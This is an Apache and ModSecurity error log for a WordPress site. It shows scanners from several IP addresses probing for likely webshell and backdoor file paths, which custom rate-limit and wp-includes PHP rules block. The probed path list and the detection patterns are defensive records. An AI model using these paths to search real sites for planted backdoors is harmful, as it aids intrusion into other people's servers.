[Sat Feb 28 00:02:41.743759 2026] [proxy_fcgi:error] [pid 54231:tid 54242] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:41.952196 2026] [proxy_fcgi:error] [pid 54231:tid 54253] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:42.160273 2026] [proxy_fcgi:error] [pid 54231:tid 54255] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:42.375962 2026] [proxy_fcgi:error] [pid 54231:tid 54238] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:42.585165 2026] [:error] [pid 54231:tid 54234] [client 20.220.221.45:59844] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaHAIuTvb5AeyJCdY7BU6AAAAEA"]
[Sat Feb 28 00:02:43.177637 2026] [:error] [pid 54231:tid 54248] [client 20.220.221.45:59897] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaHAI-Tvb5AeyJCdY7BU6QAAAE4"]
[Sat Feb 28 00:02:46.659722 2026] [:error] [pid 52073:tid 52084] [client 20.220.221.45:59901] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaHAJoa650YPyxXVeRb4DwAAAYg"]
[Sat Feb 28 00:02:48.206516 2026] [:error] [pid 62998:tid 63017] [client 20.220.221.45:63499] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaHAKFQeueXZDUmoLomauAAAAQ8"]
[Sat Feb 28 00:02:49.144962 2026] [:error] [pid 56075:tid 56091] [client 20.220.221.45:7034] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aaHAKcKBhrfI6KNv9RiJGAAAAA0"]
[Sat Feb 28 00:02:50.913974 2026] [:error] [pid 49306:tid 49329] [client 20.220.221.45:61376] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aaHAKvnSUDZue59Px9uHrwAAAVU"]
[Sat Feb 28 00:02:52.279837 2026] [:error] [pid 56075:tid 56102] [client 20.220.221.45:7018] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aaHALMKBhrfI6KNv9RiJIQAAABg"]
[Sat Feb 28 00:02:54.701316 2026] [:error] [pid 54231:tid 54248] [client 20.220.221.45:61381] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aaHALuTvb5AeyJCdY7BU_AAAAE4"]
[Sat Feb 28 00:02:57.437576 2026] [:error] [pid 56075:tid 56091] [client 20.220.221.45:61382] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cxxuv.php"] [unique_id "aaHAMcKBhrfI6KNv9RiJUgAAAA0"]
[Sat Feb 28 00:02:58.936874 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:65301] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cxxuv.php"] [unique_id "aaHAMsKBhrfI6KNv9RiJbAAAAAc"]
[Sat Feb 28 00:02:59.950669 2026] [:error] [pid 52073:tid 52087] [client 20.220.221.45:59848] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cxxuv.php"] [unique_id "aaHAM4a650YPyxXVeRb4RwAAAYs"]
[Sat Feb 28 00:03:01.478095 2026] [:error] [pid 52073:tid 52099] [client 20.220.221.45:65342] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cxxuv.php"] [unique_id "aaHANYa650YPyxXVeRb4WAAAAZc"]
[Sat Feb 28 00:03:09.098686 2026] [:error] [pid 52073:tid 52076] [client 20.220.221.45:65281] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aaHAPYa650YPyxXVeRb4awAAAYA"]
[Sat Feb 28 00:03:10.264315 2026] [:error] [pid 54103:tid 54177] [client 20.220.221.45:7003] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aaHAPuvG4MPCmE0B2sDaRAAAAMY"]
[Sat Feb 28 00:03:11.823942 2026] [:error] [pid 54102:tid 54159] [client 20.220.221.45:59860] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aaHAP3i74D4fiYUm_GecjQAAAI8"]
[Sat Feb 28 00:03:12.932447 2026] [:error] [pid 49306:tid 49331] [client 20.220.221.45:63521] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aaHAQPnSUDZue59Px9uIAAAAAVc"]
[Sat Feb 28 00:03:15.614812 2026] [:error] [pid 49306:tid 49315] [client 20.220.221.45:63527] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aaHAQ_nSUDZue59Px9uIGAAAAUc"]
[Sat Feb 28 00:03:17.884045 2026] [:error] [pid 56075:tid 56086] [client 20.220.221.45:7000] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aaHARcKBhrfI6KNv9RiJnQAAAAk"]
[Sat Feb 28 00:03:19.176651 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:6998] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aaHAR8KBhrfI6KNv9RiJqgAAAAg"]
[Sat Feb 28 00:03:20.080912 2026] [:error] [pid 52073:tid 52088] [client 20.220.221.45:7032] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aaHASIa650YPyxXVeRb4gwAAAYw"]
[Sat Feb 28 00:03:21.981952 2026] [:error] [pid 54103:tid 54188] [client 20.220.221.45:63497] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aaHASevG4MPCmE0B2sDaVwAAANE"]
[Sat Feb 28 00:03:24.007146 2026] [:error] [pid 52073:tid 52097] [client 20.220.221.45:6465] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aaHATIa650YPyxXVeRb4oQAAAZU"]
[Sat Feb 28 00:03:24.589361 2026] [:error] [pid 52073:tid 52084] [client 20.220.221.45:63551] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aaHATIa650YPyxXVeRb4pwAAAYg"]
[Sat Feb 28 00:03:26.249598 2026] [:error] [pid 54102:tid 54152] [client 20.220.221.45:65331] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aaHATni74D4fiYUm_GecrAAAAIg"]
[Sat Feb 28 00:22:57.168029 2026] [proxy_fcgi:error] [pid 15100:tid 15163] [client 4.193.177.110:4899] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:22:57.255091 2026] [:error] [pid 15100:tid 15177] [client 4.193.177.110:4899] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Cookie/cloud.php"] [unique_id "aaHE4UOEbzcINan_ctKjZAAAAFE"]
[Sat Feb 28 00:22:57.823640 2026] [:error] [pid 15240:tid 15246] [client 4.193.177.110:12180] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/functions.php"] [unique_id "aaHE4S1iKL_41Rk9A9NHRQAAAAQ"]
[Sat Feb 28 00:22:58.291628 2026] [proxy_fcgi:error] [pid 15240:tid 15259] [client 4.193.177.110:4578] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:22:58.501202 2026] [:error] [pid 15240:tid 15252] [client 4.193.177.110:4578] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/flower.php"] [unique_id "aaHE4i1iKL_41Rk9A9NHTQAAAAo"]
[Sat Feb 28 00:22:58.979768 2026] [proxy_fcgi:error] [pid 15240:tid 15246] [client 4.193.177.110:4585] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:22:59.066552 2026] [:error] [pid 15240:tid 15266] [client 4.193.177.110:4585] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/block-bindings.php"] [unique_id "aaHE4y1iKL_41Rk9A9NHVQAAABg"]
[Sat Feb 28 00:22:59.435219 2026] [:error] [pid 15240:tid 15248] [client 4.193.177.110:24333] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/root.php"] [unique_id "aaHE4y1iKL_41Rk9A9NHWwAAAAY"]
[Sat Feb 28 00:22:59.866129 2026] [proxy_fcgi:error] [pid 15240:tid 15249] [client 4.193.177.110:13248] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:22:59.952950 2026] [:error] [pid 15240:tid 15260] [client 4.193.177.110:13248] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/index.php"] [unique_id "aaHE4y1iKL_41Rk9A9NHYgAAABI"]
[Sat Feb 28 00:23:00.345534 2026] [:error] [pid 15240:tid 15264] [client 4.193.177.110:23560] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaHE5C1iKL_41Rk9A9NHZQAAABY"]
[Sat Feb 28 00:23:00.695708 2026] [:error] [pid 15099:tid 15141] [client 4.193.177.110:12474] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaHE5OnvP2vtPjYDq_geHAAAAMg"]
[Sat Feb 28 00:23:01.136820 2026] [:error] [pid 15099:tid 15136] [client 4.193.177.110:24330] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaHE5envP2vtPjYDq_geIQAAAMM"]
[Sat Feb 28 02:41:27.793939 2026] [:error] [pid 38620:tid 38632] [client 13.71.191.191:40914] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHlVwP6I7SRqrhh7Rpb3gAAAUo"]
[Sat Feb 28 02:41:28.206657 2026] [:error] [pid 38620:tid 38629] [client 13.71.191.191:40841] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHlWAP6I7SRqrhh7Rpb4gAAAUc"]
[Sat Feb 28 02:41:28.618000 2026] [:error] [pid 15099:tid 15138] [client 13.71.191.191:40904] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHlWOnvP2vtPjYDq_hNlgAAAMU"]
[Sat Feb 28 02:41:29.034106 2026] [:error] [pid 15099:tid 15137] [client 13.71.191.191:40924] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHlWenvP2vtPjYDq_hNmQAAAMQ"]
[Sat Feb 28 03:35:59.527671 2026] [proxy_fcgi:error] [pid 33725:tid 33788] [client 20.220.8.221:41271] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 03:36:00.994891 2026] [proxy_fcgi:error] [pid 33725:tid 33785] [client 20.220.8.221:41271] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 03:36:01.634576 2026] [proxy_fcgi:error] [pid 33725:tid 33797] [client 20.220.8.221:41271] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 03:36:02.068161 2026] [proxy_fcgi:error] [pid 33725:tid 33799] [client 20.220.8.221:41271] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 03:36:07.800699 2026] [:error] [pid 33978:tid 33995] [client 20.220.8.221:41245] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaHyJ_jZiAvhCEF6BzfpnwAAAQo"]
[Sat Feb 28 03:36:09.271646 2026] [:error] [pid 33979:tid 34018] [client 20.220.8.221:41252] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aaHyKUYtaKdd9EujAnVzDwAAAUY"]
[Sat Feb 28 03:36:10.098281 2026] [:error] [pid 34069:tid 34073] [client 20.220.8.221:41421] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aaHyKrLbG_PwuX3TIEWLowAAAAI"]
[Sat Feb 28 03:36:10.925926 2026] [:error] [pid 33979:tid 34023] [client 20.220.8.221:41415] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aaHyKkYtaKdd9EujAnVzEgAAAUo"]
[Sat Feb 28 03:36:11.755337 2026] [:error] [pid 33980:tid 34049] [client 20.220.8.221:41418] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aaHyK4_8o6-uUu92v1nMmgAAAYk"]
[Sat Feb 28 05:17:37.657813 2026] [:error] [pid 22194:tid 22201] [client 146.190.160.27:63734] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaIJ8X6mbajs3bzQGyvLswAAAUU"]
[Sat Feb 28 05:17:37.667243 2026] [proxy_fcgi:error] [pid 22194:tid 22201] [client 146.190.160.27:63734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 05:17:39.526043 2026] [:error] [pid 22194:tid 22216] [client 146.190.160.27:63734] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ836mbajs3bzQGyvLxQAAAVQ"]
[Sat Feb 28 05:17:39.863783 2026] [:error] [pid 22194:tid 22201] [client 146.190.160.27:59778] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ836mbajs3bzQGyvLxwAAAUU"]
[Sat Feb 28 05:17:40.201607 2026] [:error] [pid 39185:tid 39260] [client 146.190.160.27:61275] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ9BVE-FfM89u7BQYwKwAAAI4"]
[Sat Feb 28 05:17:40.528074 2026] [:error] [pid 39292:tid 39294] [client 146.190.160.27:62961] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ9KIAO5fN7BxyqcEcOAAAAMA"]
[Sat Feb 28 05:17:40.870529 2026] [:error] [pid 22194:tid 22214] [client 146.190.160.27:64378] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ9H6mbajs3bzQGyvLzgAAAVI"]
[Sat Feb 28 05:17:41.201830 2026] [:error] [pid 39183:tid 39199] [client 146.190.160.27:49463] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ9RCf4HvhVePw3LZY4gAAAAc"]
[Sat Feb 28 05:17:41.539865 2026] [:error] [pid 39185:tid 39257] [client 146.190.160.27:50836] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaIJ9RVE-FfM89u7BQYwLAAAAIs"]
[Sat Feb 28 05:45:45.829434 2026] [:error] [pid 39292:tid 39309] [client 20.220.212.70:52860] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaIQiaIAO5fN7BxyqcE37wAAAM8"]
